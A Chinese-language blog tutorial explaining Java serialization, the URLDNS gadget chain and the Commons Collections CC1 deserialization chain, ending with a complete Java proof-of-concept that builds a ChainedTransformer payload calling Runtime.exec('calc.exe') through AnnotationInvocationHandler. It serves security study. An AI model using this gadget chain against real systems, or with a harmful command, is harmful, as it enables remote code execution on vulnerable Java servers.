JAVA序列化与反序列化&URLDNS链&CC1链

1、序列化的实现

java序列化的是对象属性的,只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),静态成员变量是属于类的,所以静态成员变量是不能被序列化的,被transient 标识的对象成员变量不参与序列化。

2、重写readObject方法的原因

java.lang.Object

└── java.io.InputStream

└── java.io.ObjectInputStream

重写(Override)是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写,比如父类有a,b,c,readobject()这四个方法,但是你只希望使用readObject()方法进行重写,你就可以只重写readObject()方法。

3、Java反序列化漏洞条件

共同条件继承Serializable

入口类:因为反序列化一定会调用readObject()方法,所以可以把readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject,重写的这个readObject最好调用常见的函数,参数类型宽泛(Object 类最宽泛,接口类例如HashMap随便存放各种参数),最好是JDK自带的类(这里是因为要对方的服务器上也存在这个类才可以)

调用链:gadget chain 相同名称,相同类型

执行类:(rce ssrf写文件等)最重要

URLDNS链分析

思路:URL这个类有解析DNS的的方法,通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通过构造恶意类来攻击目标服务器实现DNS解析,可以考虑此方法。但是反序列化一定会调用的是readObjet()方法,也就是上面提到的readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject。这里如果你想到用URL类下自带的readObject方法,这个入口选择是错误的,如下图所示。

从图中我们可以看出,URL类中的readObject并无可以进一步利用的函数"常见的函数,参数类型宽泛(Object 类最宽泛,接口类,例如HashMap随便存放各种参数)"因此我们就想找其他类作为入口,中间如果有相同名称,相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法,发现HashMap类下有有一个hash函数调用了hashCode,并且右键hash查找用法发现了readObject,构造链已经确定。HashMap------>readObject()------>hash()------>hashcode()

POC

一开始是这样写的如下图如

debug发现,序列化的时候就会解析DNS,原因是因为URL里的hashCode会默认hashCode=-1,导致进去hashCode去解析DNS。

但是在反序列化的时候我们给URL之前默认给的值是1,这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS,导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1,然后再反序列化之前再把hashCode改为-1。

CC1链分析

首先找到Transform这个接口类看他的实现方法有哪些
在InvokerTransformer类调用的transform方法发现此方法的类,参数类型,值都是可控的类似于后门,可以创建实现任意类,这里我们把他当做sink

进一步查找有无通过readObject方法调用transform方法的,找不到,因此找中间方法,找到了TransformedMap类下的checksetvalue方法调用了transform

valueTransformer.transform(value);这里简单分析一下,当valueTransformer=InvokerTransformer

value=Runtime.class,便可实现命令执行。

这里通过valueTransformer构造方法传参

继续去找调用了checkSetValue方法的类,在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue

这里我们可以发现

MapEntry extends AbstractMapEntryDecorator

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue

Map.Entry还是接口类

知识点:接口类必须被实现,抽象类的方法只能由子类实现

所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue()

然后再次去寻找那个类下的readObject()方法调用了setValue()方法,在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue()

下图是根据以上调用链条写的POC

这里进入调用setValue()首先要满足两个if条件

这是

在调试代码的时候发现我们传入的memberTypes为空

通过此行代码可以发现
Class<?> memberType = memberTypes.get(name);

他是从传入的mmberType通过get方法查找有无对应的参数

下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类

这个地方把key改成value

调试代码显示memberType已经不为空了

然后在想如何绕过第二个if

这里就要利用到了Transformer接口实现的另一个类ConstantTransformer,它实现了transform方法无论输入对象是什么,他都会返回参数构造中的固定值

但是你会发现,你不仅要调用创建InvokerTransformer,还要调用创建ConstantTransformer,如何解决这个问题呢,这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用

调用setvalue方法你会发现传入的参数是无效的参数,这时候就巧妙地用到了constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环

同时这里还有一个问题,Runtime类没有继承Serializable,所以要通过反射来实现,这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行

最后测试

成功

完整POC

java 复制代码
package com.example.fastjson122.demos.web;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TestCC1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
          Runtime r=Runtime.getRuntime();
//        Class c=Runtime.class;
//        Method execMethod=c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");
        Transformer[] transformer=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
        //Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        //transformedmap.put(1,Runtime.getRuntime());
//        for(Map.Entry entry:transformedmap.entrySet()){
//            entry.setValue(r);
//        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annConstructor.setAccessible(true);
        Object o=annConstructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

}
相关推荐
浮游本尊1 小时前
Java学习第22天 - 云原生与容器化
java
渣哥3 小时前
原来 Java 里线程安全集合有这么多种
java
间彧3 小时前
Spring Boot集成Spring Security完整指南
java
间彧3 小时前
Spring Secutiy基本原理及工作流程
java
Java水解4 小时前
JAVA经典面试题附答案(持续更新版)
java·后端·面试
洛小豆6 小时前
在Java中,Integer.parseInt和Integer.valueOf有什么区别
java·后端·面试
前端小张同学7 小时前
服务器上如何搭建jenkins 服务CI/CD😎😎
java·后端
ytadpole7 小时前
Spring Cloud Gateway:一次不规范 URL 引发的路由转发404问题排查
java·后端
华仔啊7 小时前
基于 RuoYi-Vue 轻松实现单用户登录功能,亲测有效
java·vue.js·后端